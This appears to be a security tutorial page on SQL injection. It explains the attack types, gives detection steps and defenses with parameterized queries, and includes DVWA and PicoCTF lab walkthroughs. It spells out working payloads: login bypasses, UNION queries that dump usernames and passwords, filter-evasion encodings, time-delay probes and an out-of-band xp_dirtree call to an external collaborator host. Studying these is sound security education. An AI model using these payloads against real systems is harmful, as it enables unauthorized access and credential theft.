SQL Injection

Definition

SQL Injection (SQLi) is a vulnerability that consists of an attacker interfering with the SQL queries that an application makes to the database.

Let's assume a web application has a user "admin" with the password "12345678". When this user is logging in to the application, the SQL query will be:

SELECT * FROM users WHERE username='admin' AND password='12345678';

An attacker can attempt to login as the admin user by injecting the following payload into the username field of the login form:

admin'--

In the payload above, the single quote will close the string for the username, while the double dash will comment out the rest of the query. The new SQL query will now look as below:

SELECT * FROM users WHERE username='admin'--' AND password='12345678';

The database will now execute the query below (since the rest has been commented out).

SELECT * FROM users WHERE username='admin'

The database will return the admin user profile, and the attacker will get logged in as the admin user.

Impact

Unauthorized access to sensitive data
Confidentiality: SQLi can be used to view sensitive information e.g. application usernames, and passwords.
Integrity: SQLi can be used to alter data in the database.
Availability: SQLi can be used to delete data in the database.
Remote Code Execution on the operating system with the same privileges that the database is running with.

How to find SQLi Vulnerabilities

The method depends on the perspective of testing: blackbox or whitebox.

Black-Box Perspective

Map the application.
Fuzz the application --> submit SQL specific characters such as ' or " and look for errors or other anomalies.
Submit boolean conditions such as OR 1=1 and OR 1=2, and look for differences in the application's defenses.
Submit payloads designed to trigger time delays when executed within a SQL query, and look for time taken to respond.
Submit OAST payloads desinged to trigger an out-of-band network interaction when executed within a SQL query, and monitor for any resulting interactions.

White-Box Perspective

Enable web server logging.
Enable database logging.
Map the application: visible functionality in the application & regex search on all instances in the code that talks to the database.
Code review: follow the code path for all input vectors.
Test any potential SQLi vulnerabilities.

Types of SQLi

There are 3 main types of SQLi vulnerabilities:

In-Band (Classic) SQLi
Inferential (Blind) SQLi
Out-of-Band SQLi

In-Band (Classic) SQLi

The attacker uses the same communication channel to both launch the attack, and gather the results of the attack. Retrieved data is presented directly on the application web page.

It is easier to exploit compared to other types of SQLi vulnerabilities.

There are two common types of In-Band SQLi:

Error-Based SQLi
Union-Based SQLi

Error-Based SQLi

This type of attack forces the database to generate an error, giving the attacker information upon which to refine their injection attack.

To find error-based SQLi, submit SQL specific characters such as ' or ", and look for errors or other anomalies. Different characters can give you different errors.

For example:

Input: https://www.random.com/app.php?id='

Output: You have an error in your SQL syntax, check the manual that corresponds to your MySQL server version...

Now let us practically exploit some error-based SQLi vulnerabilities.

SQL Injection - Lab #1 SQL injection vulnerability in WHERE clause allowing retrieval of hidden data https://www.youtube.com/watch?v=_rCg_-gsQOA
SQL Injection - Lab #2 SQL injection vulnerability allowing login bypass https://www.youtube.com/watch?v=fMPvCyD2v4w

Union-Based SQLi

Leverages the UNION SQL operator to combine the results of 2 queries into a single result set. Let us use the payload below to retrieve credentials from a table.

' UNION SELECT username, password FROM users--

For example:

Input: https://www.random.com/app.php?id=' UNION SELECT username, password FROM users--

Output: carlos password1 administrator password123

There are 2 rules for combining the result sets of 2 queries by using UNION. 1. The number and order of the columns must be the same in all queries. 2. The data types must be compatible.

Exploitation steps: 1. Figure out the number of columns the query is making. 2. Figure out the data types of the columns (string data type is preferred). 3. Use the UNION operator to output information from other tables in the database.

Determining the Number of Columns Using the ORDER BY:

Let's say there is the following SQL query:

SELECT title, cost FROM product WHERE category='Gifts';

We can inject an ORDER BY clause:

' ORDER BY 1--

The new query will now look like:

SELECT title, cost FROM product WHERE category='Gifts' ORDER BY 1--'

We will incrementally inject a series of ORDER BY clauses until we get an error or observe a different behaviour in the application.

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- --> Error: out of range of the no. of items in the list

Since the ORDER BY 3 clause returns an error, we can infer that the number of columns is 2.

Determining the Number of Columns Using NULL Values:

Let's say there is the following SQL query:

SELECT title, cost FROM product WHERE category='Gifts';

We can inject the following payload:

' UNION SELECT NULL--

We will inject a series of UNION SELECT payloads specifying a different number of NULL payloads until we no longer get an error.

' UNION SELECT NULL-- --> Error
' UNION SELECT NULL, NULL-- --> No Error
' UNION SELECT NULL, NULL, NULL-- --> Error

Since the second payload does not generate an error, we know that the number of columns in the list is 2.

Finding Columns with a Useful Data Type

Probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn.

' UNION SELECT 'a', NULL--
' UNION SELECT NULL, 'a'--

If no error is generated by each of the probes, then both columns contain string data. If an error occurs in any of the probes, then that column does NOT contain string data.

Retrieving Data from Other Tables

When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in a position to retrieve interesting data.

Suppose that:

The original query returns two columns, both of which can hold string data.
The injection point is a quoted string within the WHERE clause.
The database contains a table called users with the columns username and password.

In this situation, you can retrieve the contents of the users table by submitting the input:

' UNION SELECT username, password FROM users--

This will modify the original query to:

SELECT title, cost FROM product WHERE category='Gifts' UNION SELECT username, password FROM users--'

Of course, the crucial information needed to perform this attack is that there is a table called users with two columns called username and password. Without this information, you would be left trying to guess the names of tables and columns. In fact, all modern databases provide ways of examining the database structure, to determine what tables and columns it contains.

Retrieving Multiple Values Within a Single Column

In the preceding example, suppose instead that the query only returns a single column.

You can easily retrieve multiple values together within this single column by concatenating the values together, ideally including a suitable separator to let you distinguish the combined values. For example, on Oracle you could submit the input:

' UNION SELECT username || '~' || password FROM users--

This uses the double-pipe sequence || which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character.

The results from the query will let you read all of the usernames and passwords, for example:

... administrator~s3cure wiener~peter carlos~montoya ...

Note that different databases use different syntax to perform string concatenation. For more details, see the SQL injection cheat sheet.

References

Querying the database type and version

Listing the database contents on non Oracle databases

Listing the database contents on Oracle

Inferential (Blind) SQLi

There is no actual transfer of data via the web application. The attacker is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the database server.

It takes longer to exploit than In-Band SQLi but it is just as dangerous.

There are 2 common types of Inferential (Blind) SQLi:

Boolean-Based Blind SQLi
Time-Based Blind SQLi

Boolean-Based Blind SQLi

Uses boolean conditions to return a different result depending on whether the query returns a TRUE or FALSE result.

For example:

Let's say we have the following URL:

https://www.random.com/app.php?id=1

The back-end query is as below:

SELECT title FROM product WHERE id=1

We can submit a payload that evaluates to FALSE by adding AND 1=2 in the URL.

Payload #1 (false)

https://www.random.com/app.php?id=1 AND 1=2

The new back-end query will now look as below:

SELECT title FROM product WHERE id=1 AND 1=2

Since it will evaluate to FALSE, the title of the webpage will not appear.

However, when we submit a payload that evaluates to TRUE, the title of the webpage appears.

Payload #2 (true)

https://www.random.com/app.php?id=1 AND 1=1

Back-end Query

SELECT title FROM product WHERE id=1 AND 1=1

Assuming the web application has a users table below, how can we retrieve the password?

Username

Password

Admin

Pass@2030

Carlos

123456

The payload will be as below:

https://www.random.com/app.php?id=1 AND SUBSTRING((SELECT Password FROM users WHERE Username='Admin'), 1, 1)='s'

The back-end query will be modified to:

SELECT title FROM product WHERE id=1 AND SUBSTRING((SELECT Password FROM users WHERE Username='Admin'), 1, 1)='s'

Since it will evaluate to FALSE, nothing will be returned to the page and we will know 's' is not the 1st character of the password. If we keep looping through the characters and get to 'P', the title of the webpage will be returned on the page since the statement will evaluate to TRUE.

To get the full password, we will have to do this for each character.

NB: For the attack to be successful, we will need to have performed some enumeration before-hand to get details such as:

Database type and version
Table names
Column names
etc...

For more information on this, refer to the video below:

Time-Based Blind SQLi

This type of attack relies on the database pausing for a specified amount of time, then returning the results, indicating a successful SQL query execution. To exploit it, we write a program that uses conditional statements to ask the database a series of TRUE/FALSE questions and monitor the response time

'; IF (1=2) WAITFOR DELAY '0:0:10'-- '; IF (1=1) WAITFOR DELAY '0:0:10'--

If the 1st character of the password is 'a', wait for 10 seconds. If the response does not take 10 seconds, then the 1st character is NOT 'a'.

To exploit it, we write a program that uses conditional statements to ask the database a series of TRUE/FALSE questions and monitor the response time.

For more details, refer to the videos below:

Out-of-Band (OAST) SQLi

A vulnerability that consists of triggering an out-of-band network interaction to a system that we control. A variety of protocols can be used (HTTP, DNS). It is not a common type of vulnerability.

Example payload:

'; exec master..xp_dirtree '//domain.burpcollaborator.net/a'--

To exploit this vulnerability, we submit OAST payloads designed to trigger an out-of-band network interaction when executed within a SQL query, and we monitor for any resulting interactions. This vulnerability can be used to carry out data exfiltration.

Preventing SQLi Vulnerabilities

Use of Prepared Statements (Parameterized Queries)

Can you spot the issue in the below code vulnerable to SQLi?

String query = "SELECT acc_balance FROM user_data WHERE user_name = " + request.getParameter("customerName");

try{
Statement statement = connection.createStatement(...);
Resultset results = statement.executeQuery(query);
}
...

In the vulnerable code above, the user supplied input CustomerName is embedded directly into the SQL statement. This makes it vulnerable to SQLi.

Prepared statements specify the query's structure with placeholders for each user input. The application specifies the content of each placeholder. Let's have a look at the code below that is not vulnerable.

// This should really be validated too
String custname = request.getParameter("customerName");

// Perform input validation to detect attacks
String query = "SELECT acc_balance FROM user_data WHERE user_name = ?";

PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, custname);
ResultSet results = pstmt.executeQuery();

Use of Stored Procedures (Partial Defense)

These are a batch of statements grouped together and stored in the database. They are not always safe from SQLi, they still need to be called in a parameterized way.

Whitelist Input Validation

Defining what values are authorized and rejecting everything else. Useful for values that cannot be specified as parameter placeholders, such as table name.

Escaping All User Supplied Input

Should be used only as a last resort.

Enforcing Least Privilege

Applications should use the lowest possible level of privileges when accessing the database.

Further defenses include:

Removing or disabling any unnecessary default functionality in the database.
Ensure CIS benchmark for the database in use is applied.
All vendor-issued security patches should be applied in a timely fashion.

Resources

SQL Injection: Bypassing Common Filters - PortSwiggerportswigger.net

Web Security Academy
The Web Application Hacker's Handbook
OWASP - SQLi
OWASP - SQLi Prevention Cheat Sheet
PentestMonkey - SQLi

Challenges

DVWA - SQL Injection (Error-Based)

Objective

There are 5 users in the database, with id's from 1 to 5. The mission is to steal their passwords via SQLi.

Security Level: Low

There is a textbox for submitting user IDs.

The instructions inform us that there are 5 users in the database with id's ranging from 1 to 5. If we submit an id in the textbox, we get back the first name and surname of the user with that particular id.

The query in the back-end is probably:

SELECT id, first_name, surname FROM users WHERE id ='2';

NB: We don't yet know the table names and the columns in that table. The above query is to guide us in constructing payloads.

To begin, we need to find out if the parameter for the user ids is vulnerable to SQLi. To do that, we will submit an id with a single quote (') to see if we can break the SQL query and view any errors that occur.

When we submit the value 2' in the textbox, the error below appears:

From the error message, we now know that we are running on a MariaDB database server.

Let us see if we can extract the details of all the users in the database. We will use the payload below:

' OR 1=1#

And success!

Knowing the database type This is very important because If we don’t know what database exists behind we will not be able to successfully exploit the SQL injection vulnerability. Most of the times the web application technology (Java, ASP.NET, PHP, etc.) will give us an idea of the database that the application is using. For example, ASP.NET applications often using Microsoft SQL Server, PHP applications are likely to use MySQL, and Java probably Oracle or MySQL. Additionally we can assume the database type from the web server and operating system of the target. For example, if the web server is running Apache and PHP and it is a Linux host then the database has more possibilities to be MySQL. If it is an IIS then it is probably Microsoft SQL Server. Of course we cannot rely on these information, this is just for giving us an indication in order to speed the database fingerprint process.

Unfortunately the error message does not return the exact version of the database. However, now that we know that the database is MariaDB we can use the appropriate queries to find its version. In MariaDB the queries that will return the version of the database are the following:

SELECT @@version and SELECT VERSION()

We will modify our original payload to use the UNION statement in order to join two queries and to be able to discover the version of the database. The hash (#) sign, or the double dash followed by a space (-- ) is used to comment out the rest of the query.

' UNION SELECT VERSION()#

When we do that, we get the error below:

This error indicates that the two SELECT statements do not the same number of columns.That’s why we cannot get a proper result. In order to bypass this error, we can gradually increase the number of columns of the second query until it returns the same number of columns with the first query. We will use the NULL value to represent the other column since it can be converted to any data type.

' UNION SELECT NULL, VERSION()#

When we submit the above payload, we are successful.

NB: Remember to URL-ENCODE the payloads

We now know the application is running on the MariaDB version 10.4.14

Furthermore, we also infer that the first query returns 2 columns.

Next, we need to find the table name.

Most database types (with the notable exception of Oracle) have a set of views called the information_schema which provide information about the database.

We can query information_schema.tables to list the tables in the database. For more details, refer to the link below.

Information Schema TABLES Table | MariaDB Documentationmariadb.com

We will use the payload below (it's url-encoded):

2'+UNION+SELECT+NULL,+TABLE_NAME+FROM+information_schema.tables--+

The application returns all the tables in the database. We see a table named users which is promising.

We now need to know the column names in the table users. To do that, we will use the payload below (it's url-encoded):

2'+UNION+SELECT+NULL,+COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_NAME%3d'users'--+

The application then returns the column names in the table users. We can see a column name of password.

Let us now extract the passwords for all the users in the database. Before we do that first, we need to know which data types the 2 columns in the first query have. For the attack to be successful, the data types of the 1st and 2nd query must be compatible.

We are interested in string data (for the password and first name). To discover the data types, we submit the query below to find out if the 1st column has string data.

2'+UNION+SELECT+'a',+NULL#

Since no error occurs, we can conclude that the 1st cilumn accepts string data. Now let's see if that's the case for the 2nd column as well.

2'+UNION+SELECT+'a',+'b'#

Since both columns accept string data, we can proceed with our attack.

The payload we will use is shown below: (there was a column called first_name)

2'+UNION+SELECT+first_name,+password+FROM+users#

And success!!!!

We have successfully completed our objective. The password hashes can then be decrypted using an MD5-decryptor tool.

Security Level: Medium

The objective is still the same: to extract passwords for all the 5 users.

In this challenge, the text box has been replaced with a pre-defined drop-down list and uses a POST request to submit the form.

However, by using a proxy, we discover that theid parameter is still vulnerable to SQLi. To do that, we will submit an id with a single quote (') to see if we can break the SQL query and view any errors that occur.

Let me submit the payload we used in the 1st round:

2'+UNION+SELECT+first_name,+password+FROM+users#

An error message reveals to us that the ' gets escaped to \'.

Let us url-encode the ' to %27 and see if that defeats the filter.

We get the same error message. Let us double encode ' to get %25%32%37 and see if that defeats the filter.

And success!

We have successfully completed our objective. The password hashes can then be decrypted using an MD5-decryptor tool.

DVWA - SQL Injection (Blind)

Objective: Find the version of the SQL database software through a blind SQL attack.

Security Level: Low

There is a textbox for submitting User IDs. If an ID exists in the system, we get a message confirming that.

If an ID does NOT exist in the system, we get an error message.

We can try to force a SQL error by appending a single quote to the User ID and see what happens. By submitting the payload 1', we get the below error message:

This reveals to us that there is a potential SQL injection vulnerability. Let us submit a boolean condition that evaluates to true and note the response.

1' AND 1=1#

When we do that, we get a successful message.

Let us submit a boolean condition that evaluates to false and note the response.

1' AND 1=2#

When we do that, we get an error message.

Since there is visible feedback in how the page responds differently, we can infer this may be a boolean-based SQL injection vulnerability.

Security Level: Medium

In this challenge, the ' is getting filtered. However, if we double encode the single quote, we can bypass the filter.

1%25%32%37+AND+1=1#

PicoCTF Web Gauntlet 1

This challenge is all about bypassing SQL filters so that we can login as the admin user.

In Round 1, the SQL keyword(s) getting filtered are: OR

Let me try login with the username admin and password 123. I immediately get an error message and the applicaton reveals to me the SQL code shown below.

To login as the admin user, I will use the payload below:

admin';--

This will modify the original query to the one shown below that allowing us to login as the admin user.

SELECT * FROM users WHERE username='admin';--' AND password='123'

Round 2

In round 2 of the challenge, the following were being filtered: OR, AND, LIKE, --, =

The payload admin'; allows us to login as the admin user.

The original SQL query was modified to:

SELECT * FROM users WHERE username='admin';' AND password='123'

Round 3

In round 3 of the challenge, the following were being filtered: OR, AND, LIKE, --, =, <, >

The same payload we used in round 2 will still allow us to beat the filters.

Round 4

In round 4 of the challenge, the following were being filtered: OR, AND, LIKE, --, =, <, >, admin

Since admin was getting filtered out, we tried the following bypases:

aDmiN (capitalizing certain characters)
adadminmin (hoping admin would get filtered out and the remaining characters would join together to form admin again)

The payload I used to defeat the filter was:

john' UNION SELECT * FROM USERS LIMIT 1;

The LIMIT 1 will select the admin user since they are typically the first person in a database.

However, it does NOT work because of the white-spaces. We can use comments simulate whitespace within our injected data. For more details on bypassing common SQL filters, refer to the guide below.

SQL Injection: Bypassing Common Filters - PortSwiggerportswigger.net

Our modified payload will therefore be:

john'/**/UNION/**/SELECT/**/*/**/FROM/**/USERS/**/LIMIT/**/1;

The modified query will now look like:

SELECT * FROM users WHERE username='john'/**/UNION/**/SELECT/**/*/**/FROM/**/USERS/**/LIMIT/**/1;' AND password='123'

Using the new payload, I was able to login as the admin user.

Round 5

In round 5 of the challenge, the following were being filtered: OR, AND, LIKE, --, =, <, >, admin, UNION

To login as admin, we can use the double pipe sequence (||) which is a string concatenation operator on oracle. We will use it to form the username admin. The payload will therefore look like:

adm'||'in';

The new query will therefore look like:

SELECT * FROM users WHERE username='adm'||'in';--' AND password='123'

The payload will therefore allow us to login as the admin user.

PreviousWeb Pentesting Research NextCross-Site Request Forgery (CSRF)

Last updated 4 years ago

Was this helpful?